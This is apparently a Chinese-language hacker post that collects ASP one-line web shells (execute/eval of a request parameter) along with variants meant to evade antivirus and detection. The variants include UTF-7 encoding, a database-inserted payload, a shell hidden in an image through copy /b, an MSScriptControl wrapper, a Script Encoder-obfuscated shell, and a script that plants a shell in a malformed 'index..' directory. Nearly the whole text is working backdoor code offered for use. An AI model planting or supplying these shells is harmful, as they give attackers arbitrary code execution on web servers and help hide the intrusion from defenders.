<%execute request("#")%>

<%execute request(chr(35))%>

<script language=VBScript runat=server>if request(chr(35))<>"""" then

ExecuteGlobal request(chr(35))

</script>

<%ExecuteGlobal request(chr(35))%>

<%eval request("#")%>

以上都是正常的SHELL， 下面幾個是變形， 或者是用來免殺的

數據庫里插入

┼攠數畣整爠煥敵瑳∨∣┩愾

utf-7的馬

<%@ codepage=65000%>

<% response.Charset="936"%>

<%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>

用include包含一個圖片,圖片最好是通過copy /b 1.jpg+1.asp+1.jpg 2.jpg生成出來的

要繞過lake2的話， 用幾個變量加常量的方法定義圖片名再包含就可以了

<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1")

ms.Language="VBScript"

ms.AddObject "Response", Response

ms.AddObject "request", request

ms.AddObject "session", session

ms.AddObject "server", server

ms.AddObject "application", application

ms.ExecuteStatement ("ex"&"ecute(request(chr(35)))")%>

Script Encoder 加密

<%@ LANGUAGE = VBScript.Encode %>

<%#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+ P2Xn^ED+VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%>

另外還一個另類的， 利用windows的目錄漏洞,建立..\目錄里面放一句話，

Set fso=Server.CreateObject("Scripting.FileSystemObject")

path=server.mappath("/")

Set f = fso.CreateFolder(path&"\index..\")

Set a = fso.CreateTextFile(path&"\index..\1.asp", True)

a.WriteLine"<script language=VBScript runat=server>if request(""&pass&"")<>"""" then"

a.WriteLine"response.clear"

a.WriteLine"Execute request(chr(35))"

a.WriteLine"response.end"

a.WriteLine"end if"

a.WriteLine"</script>"

一句話的木馬并不只是有這些.腳本語言中大多數和系統交互的函數都能夠用來作為后門.安全性和可用性是不可逆的